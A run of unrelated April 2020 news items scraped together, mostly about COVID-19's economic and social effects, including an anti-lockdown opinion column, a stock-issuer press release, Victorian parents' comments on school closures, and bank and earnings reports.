technician who does her nails. The barber who cuts her husbands hair. Her best friend, a waitress. The three servers and a manager at the TGI Fridays that is her familys favorite treat. Such is life for all-too-many workers, or former workers. Their work is a destination, or was a destination, that often involves or involved serving people in person. Tens of millions of them are now out of work. That they are may explain future skepticism from them toward politicians and policymakers for whom work is to some degree an anywhere thing thanks to the internet, or internet-enabled Zoom, or on TV thanks to internet-enabled Skype. Former FDA Commissioner and American Enterprise Institute (AEI) resident fellow Scott Gottlieb is one of those policymakers who can work from anywhere, and who has been working non-stop since the spread of the coronavirus began. His media presence has been substantial, and he's expressed a lot of worry about what the virus's spread could mean to our health. Unfortunately, the policy response from lawmakers he's advised has resulted in mass unemployment, bankruptcy and desperation for the typical, destination-style workers Gottlieb perhaps doesnt encounter much in Westport, CT. About a governmental response to a virus that amounted to quite literally fighting something potentially lethal will economic contraction, it should be stated up front that this economics writer never once presumed to talk the actual health of the coronavirus during an economic contraction primarily endured by those with the least. With good reason. This writer knows nothing about medicine, or viruses. At the same time, the view all along from this column has been that even if the worst case scenarios presented by the most fearful were in fact true, the response should still be liberty. Were not fools. If something is potentially deadly, or even if it merely has the potential to make us sick, were wise enough to be rather cautious. So will businesses eager to remain in business. They got that way by meeting the myriad needs of customers, and so would they meet the needs of customers scared a lot, a little, or not at all by a virus. Arguably missed by Gottlieb, and other policymakers, is that while they work in government now, or advise governments now, they didn't always. And just as they didnt need a law or policy solutions in order to stay healthy before they were in or near government, so do we not need policy solutions now. So again, the view from here was to assume that the worst, since-walked-back projections from Imperial College were true. The worst is assumed not because yours truly believes the worst scenarios will materialize, but because the only reasonable response to millions of potential deaths would logically be unfettered freedom. Really, who would fight what may be deadly for millions with the mother of all recessions? Please read on. So with the lack of medical qualifications once again out of the way, something obvious requires stating: poverty kills. Its the biggest killer man has ever known. Governments have a long history of creating poverty of the worst kind. And since poverty kills, its probably a bad idea for politicians and policymakers to seek solutions that will first enhance the power of government, and for having enhanced it, secondarily result in tens of millions unemployed, millions of businesses wiped out, and desperation in general. Better yet, its probably wise amid the spreading of a virus to push aside that which is known for inefficiency and the destruction of human and financial capital at a time when efficiency and copious human/financial capital are most necessary to vaccinate away what some deem a mortal threat. Indeed, while theres once again no presumption of medical knowledge in this column, theres confident knowledge that creative people matched with capital have been erasing past killers for decades, and realistically, centuries. Lest readers forget, WWI was the first war in which more people were killed by guns and bombs than pneumonia. According to Dr. Lawrence Dorr, one of the worlds most accomplished surgeons, doctors used to respond with Dont know to questions about the why behind pneumonia. Among other things, it was too small to be seen and was referred to by doctors who had no answer to it as Captain of Mans Death. Readers can rest assured that poverty didnt wipe out this Captain of misery, so why lead with poverty to fight what all-too-many Dont know the why behind now? On Sunday, Gottlieb observed on CBSs Face the Nation that Georgia was jumping the gun in opening up its economy; that a better timeframe would be mid to late May. Such caution may make sense for Gottlieb. As his bio makes plain, he's got corporate board income, think tank income, and federal pensions to fall back on during the lockdown. Crucial, however, is that not all of Georgias workers have the means to sit idle for weeks and months with the rather decadent notion of flattening the curve" top of mind. Many are tapped out, or their businesses are. They need to get back to it six weeks ago. Translated, "flattening the curve" is a luxury likely beyond the reach for most most Georgians, and most Americans. Gottlieb followed up his Face the Nation appearance with an economic policy piece the following day. He explained to readers that the first nation to develop a vaccine for Covid-19 could have an economic advantage. No need. Indeed, the beauty of open markets is that they result in every innovation appearing as though it was created next door. Gottlieb fears the country that develops a vaccine first will supply it to its citizens first, but then if a country can cure Covid-19, the vaccine wont be very difficult to produce in the first place, Nor, perhaps, will it be much demanded. If other doctors are to be believed, the virus is perhaps not very lethal. No doubt the skeptics could be wrong. Gottlieb may say so himself. Such is the beauty of freedom. The combination of differing views, and people responding differently to differing views, is the path to knowledge; ideally knowledge that will fell Covid-19 as a threat. Until then, hopefully more people for whom the lockdown meant cushy time at home will stop and think about Valicia Anderson and tens of millions of other Americans. The solutions foisted on them by local, state and national politicians proved extraordinarily challenging. Gottlieb too should recognize this as he recommends against states re-opening from the comforts of Westport. Gottlieb has the luxury of being careful, which is something tens of millions of Americans do not. New Delhi, April 28 : The security guards and the housekeeping staff at the Ambedkar Hospital, here on Tuesday, staged protest against the hospital administration for not providing proper PPE kits. The protest was also triggered by three security guards and two housekeeping employees testing coronavirus positive and the hospital's alleged plan to shift them to other health facility for treatment. According to a security guard at the hospital, one patient with abdominal issues was admitted at the emergency ward on April 19. She died at the hospital. In the test later she was found Covid-19 positive. "The housekeeping staff and the security guards, who have tested coronavirus positive, were posted in that ward on April 19," the guard said. Another female guard, on duty in ward number 21, has also tested coronavirus positive. "The housekeeping staff and the security guards are protesting and demanding proper PPE kits for their safety," said the source. Another issue that led to protest is the hospital's plan to send the infected employees to another hospital. "Why are they sending them (staff members) to Sultanpuri for treatment," the source said and added, not much had been done to ensure the employees' safety. "They (infected staff members) are currently admitted in ward number 51, but will be shifted to another hospital. Many nurses and doctors have also tested Covid-19 positive," said the source. Latest updates on Coronavirus (COVID-19) ATLANTA, GA / ACCESSWIRE / April 28, 2020 / Aureus, Inc. (OTC PINK:ARSN) ("Aureus" or the "Company") (www.AureusNOW.com) an emerging leader in the food brand development industry which owns the Yuengling's Ice Cream brand ("Yuengling's Ice Cream" or "Yuengling's") (www.yuenglingsicecream.com) including all intellectual property and its distribution at select retail locations announced today that it will no longer need it's Regulation A as a source of funding for company operations. "After much delay, we are finished with the preparation of our K. This period was fairly complex, in that, it was the first period we were able to recognize the Yuengling's acquisition. This complexity protracted the preparation of the financial statements when we were nearly finished Covid-19 hit. Our service providers were forced to make provisions to work from home. Everyone has adapted, we will have the next Q complete by the end of the week. This enables us to continue with the process of completing the Audits and bringing the company back to fully reporting status " Stated Everett Dickson CEO, Aureus. About Aureus, Inc. The company's focus is on acquiring specific assets in and related to the food industry. Aureus owns the assets and trademarks of the Yuengling's Ice Cream brand, and the exclusive right to market and sell the products of the brand. The goal of Aureus in the operation to consolidate all factors that are positive for the Yuengling brand into a synergistic success for Aureus shareholders as well as the next generation of Yuengling consumers. About Yuengling's Ice Cream Developed by American businessman Frank D. Yuengling, as a dairy business to help support the Yuengling family brewery during the 1920s Prohibition period, Yuengling's Ice Cream has a strong tradition of making exceptional gourmet ice cream products in central Pennsylvania. The fan-favorite brand continues advancing its legacy and its renowned dairy quality, by using locally sourced dairy ingredients that contain no added hormones. Yuengling's Ice Cream is a super-premium ice cream, which means it has a butterfat content of 14% or greater. In addition to having high butterfat, Yuengling's also has a low overrun (or a lower amount of air). This makes the ice cream less whipped and much denser. Yuengling's also is constantly working to keep its product as "clean" as possible, by using as few ingredients as necessary, and those that are used are of very high quality. The brands Yuengling's is most similar to are Haagen-Dazs and Ben & Jerry's. David Yuengling and Rob Bohorad revived the brand in 2014, and an American classic was re-born. In 2018, positioned for the brand's next stage of development, Yuengling's Ice Cream forged a partnership with YIC - Online Distributors, to distribute the iconic ice cream brand online, now via Aureus. Today, Yuengling's Ice Cream is delivered directly to the doorsteps of its consumers across the nation. The Yuengling's Ice Cream Corporation, as it has been since 1935, is a separately owned and run company from D. G. Yuengling and Sons, Inc Brewery. Safe Harbor Statement This communication contains statements that may constitute "forward-looking statements" within the meaning of the Securities Act of 1933 and the Securities Exchange Act of 1934, as amended by the Private Securities Litigation Reform Act of 1995. Those statements include statements regarding the intent, belief, or current expectations of US Highland, Inc and members of its management as well as the assumptions on which such statements are based. Prospective investors are cautioned that any such forward-looking statements are not guarantees of future performance and involve risks and uncertainties and that actual results may differ materially from those contemplated by such forward-looking statements. Important factors currently known to management that could cause actual results to differ materially from those in forward-statements include fluctuation of operating results, the ability to compete successfully, and the ability to complete before-mentioned transactions. The Company undertakes no obligation to update or revise forward-looking statements to reflect changed assumptions, the occurrence of unanticipated events or changes to future operating results. For More Information Contact & Media Inquiries: Aureus.now@gmail.com 404.885.6045 www.AureusNow.com Twitter: www.twitter.com/AureusNow SOURCE: Aureus Incorporated View source version on accesswire.com:https://www.accesswire.com/587269/Aureus-Inc-Updates-Financials-Recognizing-Yuenglings-Acquisition-and-Discusses-Corporate-Progress Chancellor Rishi Sunak is under growing pressure to commit to keeping business bailouts in place beyond the end of the coronavirus lockdown amid fears the cost of adapting to the 'new normal' could see thousands of firms close. The government has made billions of pounds of financial support available to small, medium and large companies to try to keep them afloat during the current crisis. But as ministers begin to plan for how restrictions could be lifted in the coming months they are being warned businesses will need financial assistance long into the future. Some elements of social distancing are expected to remain in place even when lockdown is loosened. Businesses have stressed that changing to a new way of working will see many placed under financial strain and they will need help to stop them going under. Chancellor Rishi Sunak, pictured in Number 10 on April 8, has been told businesses will need financial support from the government after lockdown ends Members of the public shelter under umbrellas as they queue outside a branch of B&Q in south London today The British Retail Consortium has warned of the future difficulties facing firms as they try to get back up and running. Tom Ironside, the director of business and regulation at the BRC, told The Times: 'Firms face high costs to implement social distancing measures coupled with lower footfall and there are questions about the speed and extent of any recovery in consumer demand.' He added: 'It is essential that the government doesn't move too quickly to withdraw vitally important support once any relaxation begins.' The BRC has published a set of recommendations setting out how businesses could reopen. Recommendations include limiting entry and exit points into shops and capping the number of people allowed in at any one time. Installation of cleaning stations at the front of shops so that customers can use hand sanitiser and disinfectant wipes has also been suggested as well as the use of strict one way systems. The government has suggested the nation will need to adapt to a 'new normal' after lockdown with social distancing likely to be a fixture of everyday life until a way is found to neutralise the virus. But there are particular concerns about what that will mean for the hospitality sector, especially restaurants and pubs, which is reliant on people socialising. The UK Hospitality industry body has warned an 'extended period of social distancing will mean that many hospitality businesses will not be able to operate fully, and many will not be able to open at all'. It came as retailers reported a steep drop in sales in the year to April, with figures matching the decline seen in December 2008 after the financial crash. New statistics published by the CBI show the joint sharpest fall in sales since the business group started the survey in July 1983. The survey found more than two thirds of businesses have seen a significant negative impact on domestic sales because of coronavirus. Some 39 per cent of retailers have reported a total shutdown of their UK activity because of the disease. The British Retail Consortium has recommended that all shops should impose social distancing queueing systems when they reopen. Pictured is a queue at a B&Q in Edinburgh on Sunday And 44 per cent of firms have furloughed workers while eight per cent have made some staff redundant. Rain Newton-Smith, CBI chief economist, said: 'It's no surprise that the lockdown is hitting retailers hard. Two fifths have shut up shop completely for now. And sales of groceries and other essentials also fell, suggesting households may have been dipping into stockpiles built up prior to the lockdown or tightening their belts more generally as incomes take a hit. 'Although the livelihoods of hundreds of thousands of employees in retail remain at risk, there are encouraging signs that the Government's Job Retention Scheme is providing genuine relief, with many opting for temporary rather than permanent lay-offs. 'Continued support for retailers to cover their fixed costs will be vital for ensuring that businesses are able to re-open when it's safe and appropriate to do so.' The relaxation of lockdown in the Federal Capital Territory, Lagos and Ogun States have been eased for Nigerians to slowly return to their daily lives, the federal government has said. This was made known by the Secretary to the Government of the Federation (SGF) and Chairman of the Presidential Task Force (PTF) on COVID-19, Boss Mustapha, on Tuesday in Abuja at the 21st joint national briefing of the committee. He said: The relaxation of the lockdown is to enable us gradually return to our daily lives but in a moderated manner. The COVID-19 pandemic has permanently altered our ways of life and we must begin to learn how to adjust to this new reality. This relaxation does not in any way imply that the danger has passed. The virus is still potent, virulent and dangerous. We must remain very vigilant and careful. We must take responsibility for our actions. We must commit to a collective victory over COVID-19. Read Also: President Buhari Orders Total Lockdown Of Kano For Two Weeks The president, in a national broadcast on Monday, announced that he had approved gradual easing of the lockdown measures. He said: I have approved a phased and gradual easing of lockdown measures in FCT, Lagos and Ogun States effective from Monday, 4th May, 2020. However, this will be followed strictly with aggressive reinforcement of testing and contact tracing measures while allowing the restoration of some economic and business activities in certain sectors. There is not enough evidence that children are not at risk, and it's imposing on those poor teachers aka glorified babysitters. As much as remote learning has reduced me to a state of despair and helplessness, and caused lots of stress and unhappiness in my household, health and safety is top of my list. If I can't keep my sanity by the end of this lockdown, at least I can keep my family safe. - Sue N Loading Im happy to see the term out at home. My kids are thriving, were enjoying lots of family activities to compliment their learning and Im getting a great insight into how theyre going academically. (And yes I manage to work a full week). Id also rather wait until weve had a chance to test more widely so that were confident weve got this under control and we get a chance to see what a difference colder weather makes, if any. I think it would be even more destabilising for kids morale if they return for a few weeks only to have schools shut down again. - Mumof2teens Thirteen years of schooling takes approx. 540 weeks. To forego eight weeks at a time of a severe threat to life as we know it seems a small price to pay. Let's hasten slowly. - Bob Lyford I would like the children to stay away from school for as long as it takes to be sure Victoria has eliminated the virus from the community. We need to support the Victorian Government, and the Chief Medical Officer and have trust that they are doing what is needed for our health and safety, rather than to do what is 'popular'. COVID-19 is not affected by 'belief' or political persuasion or 'business priorities'. COVID-19 is an opportunistic disease. - David Coping ok. It's not ideal but I'd prefer this than contracting the virus. We have established a good routine, the kids are enjoying extra family time and I'm loving it as well. I'll actually be sad when they go back. - Bartzabel Better safe than sorry. If kids can return to school then they should also be able to attend birthday parties and play at the park. There is no difference in terms of risk. The report the Federal Government released to support a safe return to school has not been peer reviewed and is based on very limited data. More to the point - the report indicates a 'reduced' transmissibility between children, or from children to adults. It does not indicate 'no' transmission. Stay strong Victoria and don't give in to political pressure! We don't want to end up having to choose who lives and who dies just because we relaxed restrictions too early . - Anonymous My daughter would need to catch public transport - bus and train - to get to and from school. Its not so much school that Im concerned about. Im worried about her using public transport. - Jo What's a few weeks isolation against pain and suffering for thousands in overcrowded ICU. Easy does it, all together. - Nell As a parent of two, it is very challenging having the kids at home and juggling this with work commitments, but this is a serious health crisis and only temporary in the scheme of things. Even if kids have to repeat a term or two (which is unlikely due to online/remote learning) it would be worth it, as it would save lives. - Anonymous Surely the worst-case for students' education is nowhere near as bad as the worst-case for public health? - Brian I am very confident in my Victorian state leaders in making informed and appropriate decisions in relation to the best interest and health of its people. Surely we should all just suck it up for a bit and let our leaders do their job and lead our state. I really dont understand, especially given that COVID-19 is really only a few months old and we know so little this virus long-term effects, we would be willing to risk all we have achieved by loosening restrictions. - Ann Loading I am a school teacher currently teaching Year 4 students remotely whilst managing my own 2 year old and 10 month old. There are days where my partner, who is a nurse, works shift work which is of course more challenging. It is my opinion that until widespread testing is conducted, children should not return to school en masse. If and when children were to return to school, I believe a staggered approach would be best. It may not work for everyone, but we need to work together to protect our communities. - Callum Our eldest is only in prep so think her academic needs can be met well at home via reading and online learning tasks. Also, kids that age have no concept of distancing - touching themselves and others frequently. She is benefiting more from time with her dad and siblings, so is not suffering. I don't think enough is known about the disease to be 100 per cent sure of its long term impact on infected children. If people can not swim by themselves or go fishing by themselves, I can't see how 500 kids can be together. If schools reopen I'd suggest starting with high schools where kids can more effectively socially distance from themselves and their teachers, and parents more likely to both be working full-time. - Rebecca Were at war with an unseen enemy, The last thing I want to do is put my kids on the frontline. - Christine Send them back Please let the kids go back to school. Three kids at home, one in high school, two in primary. Im not a teacher, I cant help them. Its making days unbearable with tears and tantrums over small things. Both parents are emergency services workers but we feel guilty sending them to school with no friends. - Christine Please let them return to school. I have one in prep and one in kindergarten. We've borrowed iPads from family to access the online activities. I jump between and usually find the other watching an inappropriate YouTube clip. I'm also slowly loosing my sanity, unable to do usually activities which would sustain me in a role like this. - Jane So much of the prep experience should be about socialisation and getting used to the school experience. - Anonymous Loading If our case numbers remain low, especially community transmission by the end of the State Emergency on May 11, then I think we should start to stagger the return of students to schools. Begin with 2 different year levels returning the first week and continue to increase the number of year levels returning each week. There is simply no need for students to remain at home for the duration of Term Two if our infection numbers stay so low. I am a teacher and can't wait to return! - Pete I have a daughter with mild autism. Being home is the worst thing we could do for her, as most of her autistic traits have to do with socialisation. We are lucky enough to have a person who can work from home with her, but chats over different social media platforms arent enough. She needs to be in an actual social environment. I feel each day at home is making her fall further behind socially, and its ground that will be hard to make up. - Anonymous While teachers have demonstrated how amazing they are with their adaptation to online learning nothing beats the benefits of face to face teaching and the social interaction of school. Im also worried about the kids from poorer backgrounds who are not getting the same support from parents. - WorkingMum We have two kids. Both of us are working from home. Our kids need our help in understanding and submitting the task everyday. We are very overwhelmed and stressed. It is not good for our mental health. - Anonymous As a dad that works a stressful job form home, I can't also be expected to be a school teacher - yet that is exactly what Daniel Andrews is expecting of me. - Anonymous Year 12s should be learning at school in my opinion. The year is too important to have them at home for a whole term unnecessarily. They can't do their SAC's under normal test conditions so how are they going to be assessed when they've had full access to their notes and other resources during a SAC? It's also really important for Year 12s to bond as a group and support each other and I think socially isolating them is not good for their morale. - Anonymous Kids should be back at school with parents working from home where they can. We need to prevent people losing their jobs and get back to work and a higher rate of productivity as soon as possible. Kinders and childcare centres have been open throughout and cases have dropped or remained stable. It seems like we have a robust testing regime in place and hospital capacity if people are ill. This conservative approach has put us in the best position possible but it is now time to move on with caution. - Kate Loading The world risks being cut off from Russian wheat at a time when some key buyers are rushing to import it, Bloomberg reported. The Russian government introduced a 7 million tonne non-tariff quota on exports of wheat, rye, barley, and corn to the non-CIS countries until June 30, and the Agriculture Ministry said that exporters exhausted the quota on April 26. The top shipper will halt grain shipments to all but four former Soviet neighbors once the last cargo booked under the limits leaves the country. While the ban will only last until farmers start harvesting in July, some other nearby nations have also restricted grain exports, threatening to reroute global trade and fueling worries about food shortages and higher prices. Amy Reynolds, a senior economist at the International Grains Council in London, believes that banning Russian exports could benefit rival suppliers such as the EU and the U.S. By Stephen Nellis April 28 (Reuters) - When Microsoft Corp reports earnings on Wednesday, analysts expect some areas of its business to take a hit from the novel coronavirus pandemic, with lower-than-expected sales in areas like advertising on its LinkedIn social network. But analysts also expect a surge in the use of Microsoft's cloud computing services and collaboration tools such as the Teams app "as more companies are effectively forced into the cloud" by stay-home orders, as Macquarie Capital analysts Sarah Hindlian-Bowler and Calvin Patel wrote in a research note. Analysts expect those upticks to offset some of declines and position Microsoft as well or better than its peers as the full economic impact of the pandemic becomes clearer. Analysts expect Microsoft, based in Redmond, Washington, to report $33.63 billion in revenue and earnings of $1.27 per share for its fiscal third quarter, up from $30.5 billion and $1.14 per share the year before, according to IBES data from Refinitiv as of April 27. The biggest drivers will remain Microsoft's Azure cloud computing platform, which competes with Amazon.com's Amazon Web Services, and its online software for businesses. "I don't think that narrative will take a long-term hit," Alex Zukin, managing director for software equity research at RBC Capital Markets, said in an interview. "You're seeing investors more than willing to give a pass to short-term pockets of weakness around certain businesses." The Teams app, in particular, has benefited from stay-home orders in many countries, hitting 44 million users last month. While much of the surge was related to the novel coronavirus and could fade as workers return to offices, Macquarie's Hindlian-Bowler and Patel expect Teams adoption to be permanently higher than it would have been. In other segments, analysts expect revenues to be weaker than previously anticipated, including the paid use of LinkedIn by job recruiters, software tools designed for computer servers that sit in a company's own data centers and even sales of Windows for personal computers, which were interrupted as factories in China shut down during the first three months of the calendar year. Some of those revenue streams could spring back. After hitting supply shortages, for example, laptop orders have rebounded as companies and consumers bought machines to work from home, an impact that could show in Microsoft's fourth-quarter earnings report. Sales in other units more reliant on large one-time deals like on-premises server software could be depressed for months as businesses put non-essential spending on the back burner. But much of Microsoft's revenue has shifted to subscription or consumption-based billing, which should soften the effect. "The revenue stream for Microsoft is extremely sticky," Zukin said. (Reporting by Stephen Nellis in San Francisco; Editing by Leslie Adler) COLUMBIA The Great Recession left Optus Bank reeling, overexposed with loans to the industries and people hardest hit. This time around, the bank is a model in battling the economic crisis brought on by the novel coronavirus. One of the smallest institutions in the Palmetto State, Columbia-based Optus caters to women- and minority-owned businesses. It is among community banks nationwide with an outsized role in helping small businesses stay afloat in the pandemic, navigating a federal aid process riddled with technical glitches and unintended funding of big businesses. Others include Charleston's Beacon Community Bank and South Atlantic Bank in Myrtle Beach. Were nimble, so that gave us an advantage, Optus CEO Dominik Mjartan said. Earlier this month, Optus processed 175 applications for the CARE Act's Paycheck Protection Program, which offered loans designed to help small businesses keep employees on the payroll. The loans are forgiven if the money is used as intended. The bank received approval through the U.S. Small Business Administration for 114 loans over 10 days before the $350 billion provided through the initial federal stimulus law, signed March 27, ran out. Those more than $22 million in loans will support 2,711 jobs, primarily in South Carolina, including employees of restaurants, nonprofits, and construction companies. But what kept Mjartan up at night was the $4.7 million worth of loans his team couldn't get funded in time. Theres a huge backlog of applications sitting on bankers desks, said Fred Green, president of the South Carolina Bankers Association. The additional $310 billion Congress approved last week for a second round was much needed, he said. When the last round stopped there were thousands of applications waiting to still be processed, Green said. Banks like Optus are why Congress set aside $60 billion of the program's second round for small banks and credit unions that can reach underserved communities, said U.S. Sen. Tim Scott, R-SC. Because of the pace which the money is going to run out, weve kind of shut down everything else to make sure we can serve as many of the small borrowers as possible, Mjartan said. According to SBA data, South Carolina businesses received $3.8 billion from the first round of funding, with loans going out to 23,000 companies. The average loan size was $165,000. The Paycheck Protection Program was a large chunk of last month's $2 trillion stimulus package intended to help businesses, families and state governments weather the pandemic. But its rollout was tumultuous. More than 220 publicly traded companies applied for at least $870 million from the program meant for businesses without access to other sources of capital, CNBC reported. At least 13 have returned $98 million amid mounting pressure. The program's technical issues continued Monday, when loans became available through the second round. The website processing applications crashed several times, according to CNN, after the SBA made adjustments in an attempt to ensure all lenders could submit at the same rate per hour, keeping big and small banks on equal footing. But getting hundreds of billions out the door in time to keep small business open has been no easy task considering the agency typically handles about $25 billion in loans a year. It's not been smooth, but standing up a $350 billion program in a week, theres going to be issues, Mjartan said. All the while, small business owners panicked as they werent hearing back from the large banks that took their applications. While Optus Bank lacks the manpower of those large banks, it shined in its willingness to spend time on even very small applications. When Optus employees came across issues such as a missing reference code or driver's license number, they called rather than toss the papers aside. I don't want to go to sleep at night thinking, You know what, we could have helped that seven-employee, woman-owned business, but we didn't bother to call back and say, 'You missed one code," Mjartan said. Because of this, officials rallied around small banks. Bank of America, Synovus and other regional and national financial institutions deposited funds at Optus that helped with loans. Optus received referrals from large banks that didnt want to deal with the $5,000 and $10,000 loans that don't come with a profit. That $5,000 loan makes no sense at the bank, Mjartan said. As soon as you accept that application, you just told your shareholders were going to lose you money. But his board supported the decision to help those most in need, something the bank has done since its founding in 1921 by a group of African American business owners wanting to increase access to capital. It operated as South Carolina Community Bank until changing its name about a year ago. Sitting in his office last week, Mjartan watched as a couple walked past his window. The woman broke down in tears when he offered assistance, because they hadn't been able get help elsewhere. In business for 30 years, the couple just wanted to be able to pay their 31 employees for the next eight weeks. Optus Bank knows what it is to struggle. If you bank at the bottom two rungs of the socioeconomic ladder, youre banking the more vulnerable people," Mjartan said. "You're stepping into that gap. And prior to 2008, the bank didn't diversify its portfolio enough. "A couple loans go bad, that will take you down," Mjartan said. But in 2012, the bank's chairman and largest shareholder invested heavily to recapitalize, this time ensuring risks were mitigated with tools like SBA guarantees. The bank has enjoyed six years of profit growth and more than doubled in size. Preparing for another financial downturn, the bank had $30 million in cash on hand when the coronavirus pandemic sent the economy spiraling. The PPP loans now constitute 30 percent of the banks balance sheet, and in addition to new accounts opened, grew the banks size by 30 percent over the course of two weeks to about $100 million. When the second round of funding opened Monday, the bank had $10 million worth of applications ready to submit, representing more than 1,000 jobs. Theyre not the only ones. Beacon Community Bank, South Carolinas first startup bank in more than a decade, hadnt even been approved as an SBA lender before the loan program was announced. On a truncated timeline, the bank received approval to fund 210 loans for more than $31 million, supporting 3,300 jobs in the Charleston area. We had people break down in tears of joy when we called to tell them their loan was approved, Beacon CEO Brooks Melton said. Myrtle Beach-based South Atlantic Bank, which serves communities up and down the coast, huddled a week before the first round of funding in preparation for the demand, CEO Wayne Wicker said. It was crazy. The doors opened and the floodgates opened, too, he said. In the first round, the bank distributed $75 million worth of forgivable loans in all three markets it serves Charleston, Myrtle Beach and Hilton Head. It made several loans over $2 million, but loan size averaged around $115,000, Wicker said. They also opened 500 new accounts. Our employees worked 24/7, he said. Were not used to processing and booking 650 loans in two weeks. Metro Manila (CNN Philippines, April 29) - Back when things were still normal, journalists had the tedious job of going places to get information and verify them. But the pandemic confined everyone inside their homes, and in the case of journalists, they were stuck in front of their laptops. Philippine Star reporter Janvic Mateo said that journalists these days have no choice, but to get most of their stories online. There is a lot of information we are getting online, especially from social media. What we usually do is go out there and verify, he told CNN Philippines Not Politics As Usual. With the lockdown, he said that verifying information has become a little bit challenging. One of the challenges is going out there and getting the information, getting the context of that information and being able to translate it into a verified report, Mateo added. Although he can have a crew van to help him go out in the field, CNN Philippines correspondent Gerg Cahiles is worried of the threat brought by the virus. There are stories that require the reporter to go out and to report the story properly, like people stories, like how the government policies are being implemented on the ground, he said. Pero nakaka-praning din kasi (But its worrisome because) you dont know who is infected among the people around you. So talagang extra precaution lang (So you just have to practice extra precaution). But with the new normal, things have changed on how journalists work on their stories. Mateo said that even sources have also adapted to it. We are grateful that somehow they are also able to shift to this particular level of normalcy, na medyo (a little bit) dependent sa online, phone calls, or text messages, he said. Meanwhile, Cahiles has now to do everything on his own, including video editing, setting up his mobile camera to shoot himself, and improvising his own television at home as his background. I dont have the right equipment for this work at home setup. I remember on the first few days of the quarantine, we were asked to do Facebook Live...Eh tayong mga nasa broadcast (We in the broadcast) we think of videos. So I thought of getting videos from the ground and asked from the sources if they can provide us some, and edit it, and show it through my TV, he said. He added, Dahil wala akong tripod (Because I dont have a tripod), I had to look for other items in our house that can be used to mount my phone. I found a new purpose for my exercise machine at home. For his part, CNN International anchor Max Foster discovered something new during the pandemic: TikTok. Foster said the mobile video sharing app, which keeps everybody busy while under home quarantine, somehow helped his journalistic skills. It has helped my journalism partly, because when you post on social media you dont get the reaction you are expecting.I can also see what stories resonate more by going on there, he said. READ: With dance challenges and explainer videos, publishers invade TikTok to court Gen Z Foster himself joined the new craze and has more than 85,000 followers. The CNN International reporter said that TikTok can be used in journalism. The big story now is the virus and lockdown, and thats what most Tiktoks are about. You can actually tell serious stories there as well, its just to have a positive spin into it, said Foster. Anxiety Even though journalists are slowly adjusting with the new way of reporting, the anxiety brought by the pandemic also affected how they work. With the fast spreading of COVID-19, Mateo said that anyone can be on the news nowadays. Ngayon (Right now), in whatever story that we come up with, we are always part of it. Theres always the threat, na baka in the few days kasama na ako or kasama na yung pamilya ko dun sa balita (in the few days to come, my family and I might be part of the news), he said. Malaki yung epekto niya (It has a big effect), because there is a general anxiety, a lot of people are experiencing this anxiety towards the pandemic. READ: How the COVID-19 pandemic has affected Filipinos mental health Foster also shared the same sentiments. I am still going out and reporting, but at the back of my mind, I could be risking my life and risking my familys life when I get back home. Cahiles said covering stories while there is a pandemic is more dangerous as compared to covering a war. When we covered the Marawi Siege, nakikita mo, naririnig mo yung banta sa buhay mo as a journalist (you can hear and see the threat to you as a journalist). But this time, you cannot see the danger, the virus is invisible, he said. If you go out and not wear any protection, you are a walking target of the virus. Despite the challenges brought by the pandemic, the three journalists agreed that the hard times made their profession more relevant than ever. Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. 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Digital Editor Firozabad : , April 28 (IANS) An Uttar Pradesh Police Constable posted in Agra allegedly shot dead his wife on Monday and absconded, taking along his three minor daughters, police said. Accused Yatindra Kumar Yadav shot his wife Saroj multiple times at their residence in Awas Vikas Colony in Shikohabad, Firozabad Superintendent of police (rural) Rajesh Kumar said. The police officer said the accused had an illicit affair with a Mathura-based woman. "Prima facie, the accused was pressuring the victim to sell off the house so that he could use the money to settle down with his paramour," he said. The newly constructed house was in the name of Saroj and was worth around Rs 40-45 lakh. The couple has daughters aged 10, 7 and 5. The accused hails from Awapura village in Kurah police circle in Mainpuri and had joined UP Dial 112 unit just a month back. Yatindra was earlier booked in a case of kidnapping but the woman victim later gave a statement in his favour, after which a departmental inquiry against him was called off. According to the police, there were multiple superficial injury marks on Saroj's body, indicating she was hit before she was shot dead. The victim's parents told the police that Yatindra often assaulted and mentally harassed Saroj. The SP said that several teams were working to track down the accused and the three kids. Share this article Whatsapp Facebook Twitter Linkedin Yunindita Prasidya (The Jakarta Post) Jakarta Tue, April 28, 2020 12:05 624 fc6853813033f564188675f8bd4a28d2 1 Business Bank-Permata,Bangkok-Bank,board-of-commissioners,Astra-International,standard-chartered Free Shareholders of private-owned Bank Permata have appointed executives of Thailand-based Bangkok Bank Public Company as new commissioners following the latters acquisition of the formers majority stakes. Bangkok Bank president Chartsiri Sophonpanich will act as Bank Permatas new president commissioner, replacing Sebastian Ramon Arcuri. Bangkok Bank senior executive vice president Chong Toh, executive vice president and general manager Chalit Tayjasanant and senior executive vice president Niramarn Laisathit will also join the new board of commissioners, replacing Suparno Djasmin, Mark Spencer Greenberg and Ian Charles Anderson. Read also: Astra, Standard Chartered sell Bank Permata at lower price to Bangkok Bank The publicly listed banks new board of commissioners will effectively take on its role after the Financial Services Authority (OJK) approves the appointments, according to the minutes of the banks extraordinary shareholders meeting on April 23, which was published on the Indonesia Stock Exchange (IDX) website. In the meeting, the shareholders also approved Bangkok Banks acquisition deal in which the bank will own 89.12 percent of Bank Permatas total shares, taking over the ownership from diversified conglomerate Astra International and private-owned Standard Chartered Bank, each of which previously owned 44.56 percent of the banks total shares. Bangkok Bank, the largest commercial bank in Thailand, established its branches in Indonesia decades ago. Its Jakarta branch was set up in 1968 and its Surabaya and Medan branches have been operating since 2012 and 2013 respectively. Bangkok Bank plans to further invest in Bank Permatas clients, employees, business partners and infrastructure, as well as in transforming Bank Permata into a leading BUKU IV bank in Indonesia, the statement says. Read also: Mergers, acquisitions in banking industry mark 2019 despite weak loan growth Currently, Bank Permata is placed in the BUKU III category, a cluster of banks with core capital between Rp 5 trillion (US$322.77 million) and Rp 30 trillion. BUKU IV banks are those with core capital of over Rp 30 trillion. Bank Permata share prices, traded on the IDX under the code BNLI, have rallied upward in the past month. Between March 30 and April 27, the prices have gone up 18.18 percent, closing at Rp 1,235 per share on Monday. As morning trading started on Tuesday, the banks share prices entered the red zone, falling 0.81 percent to Rp 1,225 within the first hour of trading. Anti-lockdown and 'Reopen America' protests have been going on in the USA with hundreds across various states participating in rallies. A woman who was campaigning to reopen the state of North Carolina and relax coronavirus restrictions including social distancing measures and stay-at-home orders imposed by the governor has reportedly tested positive for COVID-19 and 